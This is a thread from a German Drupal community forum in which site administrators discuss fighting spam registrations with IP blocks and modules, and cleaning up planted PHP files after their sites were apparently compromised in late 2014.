Grüße Jenna

  • Anmelden oder Registrieren um Kommentare zu schreiben

Die Spammer probieren einiges aus

Eingetragen von ronald (3834)
am 04.11.2014 - 14:20 Uhr

Ein Großteil kommt aus China, einige aus Honkong, auch Russland ist recht weit verbreitet.
Aber is sind auch USA, Venezuela, Polen und andere dabei.

Das mit der IP-Sammlung ist eine gute Idee.

Vielleicht sollten wir eine Datenbank mit solchen IP-Adressen aufbauen? Möglichst mit Herkunftsland.
Und für die Anfänger eine vorbereitete Sperrdatei mit einigen Einträgen.

Bei diesen Angriffen wird oft versucht auf WP und JOOMLA zuzugreifen.
Diese Leute geben sich also nicht die Mühe, sich vorher über das System zu informieren, sondern ballern einfach darauf los, bis sie eine Lücke gefunden haben.

Grüße
Ronald

  • Anmelden oder Registrieren um Kommentare zu schreiben

Ich habe, nachdem diese

Eingetragen von Ionit (1781)
am 04.11.2014 - 14:33 Uhr

Ich habe, nachdem diese Spamregistrierungsversuche überhand nahmen, die IP-Ranges von China und Indien komplett ausgesperrt und die restlichen IPs aus anderen Ländern per Hand in die htaccess eingetragen.

Ein paar Tage war dann Ruhe aber nach kurzer Zeit ging es wieder los. Die Spammer nutzen immer neue IP-Adressen - das ist ein Kampf gegen Windmühlen den man nicht gewinnen kann.

Ich habe es dann irgendwann aufgegeben .... Honeypot reicht aus ... da werden die Spamregistrierungen zu hundert Prozent geblockt. Das Logfile läuft zwar über (pro Minute wird das ein bis zwei mal versucht) aber es kommt zu keiner einzigen erfolgreichen Registrierung.

Um eine aktuelle IP-Liste anzufertigen (und up-to-date zu halten) da müsste man eine Person festanstellen die das den ganzen Tag über macht (was natürlich unsinnig ist).

Drupal rockt!!!

  • Anmelden oder Registrieren um Kommentare zu schreiben

Dummerweise gibts ja auch

Eingetragen von montviso (1923)
am 04.11.2014 - 14:57 Uhr

Dummerweise gibts ja auch Spamregistrierungsversuche, die Honeypot nicht abfängt, weil echte Menschen dahinter sitzen.
Die kommen dann immer haufenweise von der gleichen Email-Adressen-Endung, z.B. netcourrier.com oder itregi.com.
Da hilft nur ein Eintrag im Modul user-restrictions.

LG Regina Oswald
-------------------------
Montviso - Internetdienstleistungen
http://www.montviso.de

  • Anmelden oder Registrieren um Kommentare zu schreiben

Zitat:Da hilft nur ein

Eingetragen von Ionit (1781)
am 04.11.2014 - 15:02 Uhr
Zitat:

Da hilft nur ein Eintrag im Modul user-restrictions.

Ja - das nutze ich auch und genau wie bei dir habe ich über user-restriction netcourrier.com und itregi.com komplett gesperrt. Das sind die einzigen und weitere Probleme gabs bisher nicht.

Drupal rockt!!!

  • Anmelden oder Registrieren um Kommentare zu schreiben

auf einem ftp server wo ich

Eingetragen von caw (2707)
am 15.11.2014 - 20:55 Uhr

auf einem ftp server wo ich dachte da wäre nichts! hier einmal ein screenshot der dateien, die dort nicht hingehörten!
die hatten komischerweise keine rechte zum download per ftp und sind deshalb aufgefallen.

AnhangGröße
drupal-ftp-server-infect.jpg 104.68 KB

C.A.W. Webdesign

  • Anmelden oder Registrieren um Kommentare zu schreiben

Geht mir jetzt genauso

Eingetragen von KnobelVogel (61)
am 29.11.2014 - 17:36 Uhr

Habe jetzt auch eine Seite, die offensichtlich doch betroffen war. Bei mir wurde mit großer Vorliebe unter CKEditor/Plugins allerhand php Dateien angelegt, darunter sogar ein eigenes Plugin-Verzeichnis und unter den modules im Rootverzeichnis bei image, toolbars, Statistics ... bin noch am Suchen, lässt sich anhand des Datums aber gut erkennen. Außerdem sind in den Serverlogs die Posts gelistet. Wird also Spam versendet.

EDIT:

Ist das krass! Ich hatte die Drupal-Version 32 Installationsdateien noch entpackt auf dem Server in einem Unterverzeichnis. Selbst da wurden Dateien eingefügt.

Grüße

  • Anmelden oder Registrieren um Kommentare zu schreiben

Wir das mit dem Drupalgeddon

Eingetragen von tobi-berlin (847)
am 01.12.2014 - 09:52 Uhr

Wir das mit dem Drupalgeddon Modul geprüft oder wie hast Du diese dateien gefunden?

  • Anmelden oder Registrieren um Kommentare zu schreiben

Eigentlich war ich bereits

Eingetragen von KnobelVogel (61)
am 01.12.2014 - 23:11 Uhr

Eigentlich war ich bereits davon ausgegangen, dass das Thema erledigt war, bis ich Nachricht bekam, dass von der Seite Spam versendet wurde. Daraufhin habe ich nach auffälligen Dateien gesucht und natürlich in die Logs geschaut. Bei mir war es so, dass für jede SPAM-Mail in den Logs ein POST dokumentiert war von einer russischen IP (offensichtlich hatte ich die htaccess bei einem Update überschrieben) über den Aufruf EINER immer gleichen .php-Datei gelistet war (ansonsten normalerweise nur GET natürlich). Als nützlich hat sich im Nachhinein bisher erwiesen, nicht sofort die aufgerufene PHP-Datei zu löschen, sondern erstmal die anderen PHP-Dateien zu suchen, die abgelegt wurden, um diese PHP notfalls zu ersetzen und die anderen erstmal zu erfassen/zu löschen (wobei besser erst nach Sperrung der IPs löschen). Dazu war es hilfreich, mit nicht befallen Installationen die Verzeichnisse und Datumsangaben/Änderungsdaten aller Dateien zu vergleichen (selbst nach Update, da auch dann diese auffallen). Dann die IP bzw. am besten gleich den IP-Bereich des Providers sperren in htaccess und entsprechende PHP-Dateien löschen (oder bei Unsicherheit umzubenennen). Nicht sogleich, aber ziemlich zügig innerhalb der nächsten Stunden, nach etlichen vergeblichen Aufrufversuchen der einen Datei, versuchte der Bot dann endlich seine "Sicherheitskopien" erfolglos zu aktivieren, wodurch ich vier oder fünf weitere, von denen ich eine zuvor übersehen hatte (und ein paar andere zuvor schon löschte), eindeutig bestätigen und löschen konnte. Die erste Datei aus den Logs wurde dann nocht etwa 10 weitere Stunden lang versucht aufzurufen.

Die weiterhin bestehende Gefahr ist allerdings vorhanden. Von Datenbankmanipulationen abgesehen darf man nicht die Problematik mit der Settings.php nicht vergessen. Einen neuer User und PW der Datenbank wäre wohl angebracht, wenn man sicher ist, dass keine weitere Lücke da ist.

Wichtige Ergänzung!!! :

Natürlich hat der Bot nicht alle Kopien aufgerufen bzw. versucht zu aktivieren. Z.B. die im vorher erwähnten Installations-Quellverzeichnis der Drupal Version 7.32 in einem Unterverzeichnis, wo er ebenfalls PHPs hineinkopierte, hat er nicht versucht aufzurufen (EDIT: s.u.). Es sollte jedem wie auch mir klar sein, dass immer noch Dateien vorhanden sein können, die nur nicht aufgerufen wurden.

Edit: Hatte heute noch nicht so genau nachgeschaut, aber von der nachwievor selben IP wurden heute doch wieder allemöglichen Dateien versucht aufzurufen innerhalb weniger Minuten (ca. 50 Versuche). Auch in dem Quellverzeichnis von Drupal V 7.32, nur eben nicht die erste Datei

Welche Plug-Ins/Funktionen/Möglichkeiten gibt es eigentlich, die die Server-Logs überwachen können (evtl. auch serverseitig/Apache/MySQL) und Triggern mit Benachrichtigung? (Z.B. Posts melden oder bestimmte IPs)

Grüße

  • Anmelden oder Registrieren um Kommentare zu schreiben

Benutzeranmeldung

  • Registrieren
  • Neues Passwort anfordern

Aktive Forenthemen

  • Zusätzliche Felder in der Userliste
  • Drupal 8 - Datenbank Mindmap
  • Buch: Mastering Drupal 8 Views!
  • The website encountered an unexpected error. Please try again later.
  • Drupal 8: Modul gesucht - Hervorhebung wichtiger Inhalte
  • Drupal 8: Modul prevnext
  • Verwirrung / Unterstützung
  • Vom jeweiligen User die Kunstwerke ausgeben.
  • Problem mit der Readiness für Automatic Updates
  • Multidomain
  • [gelöst]Drupal 8: Fußzeilenmenü auf Login-Seite verschwunden
  • Fullcalendar - Grösse Dialogfenster
Weiter

Neue Kommentare

  • Ja, danke! Ich habe dieses
    vor 7 Stunden 27 Minuten
  • Die View heißt "Benutzer". Du
    vor 18 Stunden 53 Minuten
  • Danke! Was meint denn
    vor 1 Tag 1 Stunde
  • Dazu brauchst Du kein Modul,
    vor 1 Tag 1 Stunde
  • Das heißt in dem Fall, daß
    vor 1 Tag 1 Stunde
  • Voaraussetzung sind
    vor 1 Tag 1 Stunde
  • Huhu, also in der
    vor 1 Tag 2 Stunden
  • Das Problem ist, dass nicht
    vor 1 Tag 2 Stunden
  • Ohne Composer ist der Betrieb
    vor 1 Tag 3 Stunden
  • Kann gut sein, aber ohne
    vor 1 Tag 3 Stunden

Statistik

Beiträge im Forum: 246347
Registrierte User: 18914

Neue User:

  • Tulsa55
  • Elisаhaf
  • Carola Rox

» Alle User anzeigen

User nach Punkten sortiert:
wla9045
stBorchert6003
quiptime4972
Tobias Bähr4019
bv3919
ronald3834
md3717
Thoor3678
Alexander Langer3416
Exterior2903
» User nach Punkten
Zur Zeit sind 0 User und 8 Gäste online.

Hauptmenü

  • » Home
  • » Handbuch & FAQ
  • » Forum
  • » Übersetzungsserver
  • » Suche

Quicklinks I

  • Infos
  • Drupal Showcase
  • Installation
  • Update
  • Forum
  • Team
  • Verhaltensregeln

Quicklinks II

  • Drupal Jobs
  • FAQ
  • Drupal-Kochbuch
  • Best Practice - Drupal Sites - Guidelines
  • Drupal How To's

Quicklinks III

  • Tipps & Tricks
  • Drupal Theme System
  • Theme Handbuch
  • Leitfaden zur Entwicklung von Modulen

RSS & Twitter

  • Drupal Planet deutsch
  • RSS Feed News
  • RSS Feed Planet
  • Twitter Drupalcenter
Drupalcenter Team | Impressum & Datenschutz | Kontakt
Angetrieben von Drupal | Drupal is a registered trademark of Dries Buytaert.
Drupal Initiative - Drupal Association